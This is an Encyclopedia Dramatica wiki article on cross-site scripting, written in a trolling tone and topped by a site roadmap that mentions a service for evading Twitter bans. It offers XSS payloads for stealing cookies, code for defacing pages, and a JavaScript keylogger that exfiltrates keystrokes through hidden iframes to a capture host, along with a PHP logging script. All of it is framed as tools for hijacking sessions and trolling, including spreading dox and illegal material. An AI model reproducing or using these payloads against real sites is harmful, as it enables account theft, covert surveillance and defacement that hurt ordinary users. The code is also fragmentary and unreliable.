⚠️ Encyclopedia Dramatica is currently being restored by automated scripts ⚠️

There's been a lot of questions as to what's going on with the site and what comes next. So we have this (ordered) roadmap of what's being worked on and what's to come. This will be updated until the roadmap is complete as Æ has a lot of missing features and ideas that I'd like to fix in regards to its offerings before I implement big plans for the site's popularity and well-being in 2021.

Æ Roadmap

  • Content restoration (Mostly done, few things missing that will be restored sporadically)
  • Image restoration (Being run in background, nothing I can do cept wait)
  • Æ Imageboard (Currently being worked on)
  • Mediawiki upgrade and backend fixes
  • .onion domain for Tor-friendly editing and viewing
  • CSS overhaul (Fixing things like the videos on mobile, and overall a rehaul of the wiki's look to be more friendly to readers)
  • Paid bounty board for new articles (Won't be managed by me for legal reasons however I will ensure it runs smoothly)
  • Anonymous phone # service for those seeking ban evades from Twitter as well as a phone number not tied to their name (more details at launch)

  • Currently we are nearing our annual LLC renewal fee ($650) as well throwing the funds required for these other changes and aspects. If you would like to support Æ consider purchasing a copy of The Hustler's Bible or securing some Merch. Donating is also appreciated however I would rather give something back as per the two options above.

    If you have any questions you can join our public Telegram chat to DM me privately or @ me in chat.

    You can also email me via [email protected]

    Merch notes: Thank you to all who have purchased merch. We will ship late January or mid February depending on our provider's speed.

    Here's to setting the world on fire in 2021! - aediot

    Cross Site Scripting

    From Encyclopedia Dramatica
    Jump to navigation Jump to search
    Police.gif FACT ALERT:
    XSS is winrar. If you can pull it off, pat yourself on the back.
    What XSS looks like

    Cross site scripting (or XSS) is a method of exploiting a website that does not validate user supplied input or sanitize output. Web servers that fail to do so will allow you to run arbitrary javascript on an end users browser.


    XSS entrypoints are usually found in webforms & querystrings. You can test for the existence of xss by using the following string.


    You also may be able to include javascript embedded in a flash object, or an image like so:

    <img src="javascript:alert(document,cookie);" />

    But this varies between browsers. Another way is like this

    <a href="javascript:alert(document.cookie);">link</a>

    But this requires your target to click a link

    Things To Do

    1. Hijack user sessions/cookies
      • Since user session ID and occasionally usernames/passwords are stored in cookies, you can steal cookie data to impersonate a user by either finding their uname/pass or using their server session ID.
    2. Log Keystrokes
    • You can write some code in javascript to send data via ajax/iframes when a user presses a key.
    1. Deface pages
    • If the xss exploit you've discovered is saved into a database and redisplayed to other users, you can deface the page by overlaying content.

    Sample Code

    //Overlay a black background with LOL in big white text
    html='<div style="position:absolute;top:0px;left:0px;z-index:99;width:100%;height:100%;background-color:black;"><h1 style="color:#fff;">LOLHAI</h1></div>';
    //Change the content of <body>
    //You can study the structure of a site and change the content for any element ID or tag name
    document.getElementById('element_id').innerHTML = html;
    document.getElementsByTagName('element_tag')[child].innerHTML = html;
    //This is epic for trolling by inserting typos, disinformation, dox, gore, cp, etc
    //This is an example of a keylogger. There is also a php file on this article you can use to capture the data.
    randVal = 'loldongs'+(Math.round((10000-5000) * Math.random() + 5000));
    wp='<div style=":display:block;width:0;height:0;z-index:0;overflow:hidden;" id="'+randVal+'"></div>';
    	window.document.body.innerHTML='<div onkeyup="kl();">'+window.document.body.innerHTML+wp+'</div>';
    function kl(){
    	for(var i = 0; i < inp.length; i++){
    	kf='<iframe style="width:0;height:0;" src="http://CAPTUREHOST/capture.php?'+qs+'"></iframe>';
    //This will catch all data passed as querystrings and save them in a readable format with IP, referrer & timestamp 
    	$dumpFile = "dump";
    	$fh = fopen($dumpFile, 'a') or die("can't open file");
    	fwrite($fh, date("m/d/y_g:i:s").'|'.$_SERVER['REMOTE_ADDR'].'|'.$_SERVER['HTTP_REFERER'].'|');
    	foreach($_GET as $qs => $val){
    		fwrite($fh, $qs."=".$val.'|');
    	fwrite($fh, "\n");

    See Also


    Cross Site Scripting is part of a series on Programming.

    [2 L337 4 MEEnter the Matrix]

    Cross Site Scripting is part of a series on Security Faggots

    1337 h4x0rz

    Captain CrunchCult of the Dead CowDavid L. SmithGary McKinnonGOBBLESHD MooreJeff MossKevin MitnickLance M. HavokRobert MorrisTheo de RaadtweevWoz


    2cashAnonOpsBrian SalcedoFearnorFry GuyGadi Evrong00nsHack This SiteHacking TeamhannJoanna RutkowskaJohn FieldJoseph CampLizard SquadLulzSecMark ZuckerbergMarshviperXMasters of DeceptionMichael LynnKrashedRavenr000tRyanSteve Gibsonth3j35t3rThe RegimeSabuZeekill

    Related Shit

    AviraCiscogateCloudflareConfickerCyberDefenderDefconThe GibsonThe Great Em/b/assy Security Leak of 2007HeartbleedI GOT NORTON!Is Your Son a Computer Hacker?Operation SundevilPIFTS.exeSocial engineeringStylometrySubSevenZone-H

    Portal trolls.png

    Cross Site Scripting is part of a series on


    Visit the Trolls Portal for complete coverage.